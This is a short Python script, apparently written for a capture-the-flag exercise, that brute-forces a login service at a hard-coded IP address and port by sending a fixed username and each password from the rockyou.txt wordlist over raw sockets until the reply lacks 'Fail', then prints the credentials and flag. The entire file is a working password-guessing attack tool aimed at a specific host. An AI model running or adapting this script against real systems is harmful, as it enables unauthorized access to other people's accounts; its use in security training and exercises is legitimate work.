brute_force.py

import socket

host = "129.2.94.135" # IP address here
port = 1337 # Port here
wordlist = "rockyou.txt"
username = "mnthomp22"
def brute_force():

    passwords = open(wordlist, "r")
    for password in passwords:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))

        data = s.recv(1024)

        s.send(username + '\n')
        data = s.recv(1024)

        s.send(password)
        data = s.recv(1024)

        if "Fail" not in data:
            print("USERNAME: " + username + "    PASSWORD: " + password + "\nFlag: " + data)
            quit()
        s.close()

    print("FAIL!")

if __name__ == '__main__':
    brute_force()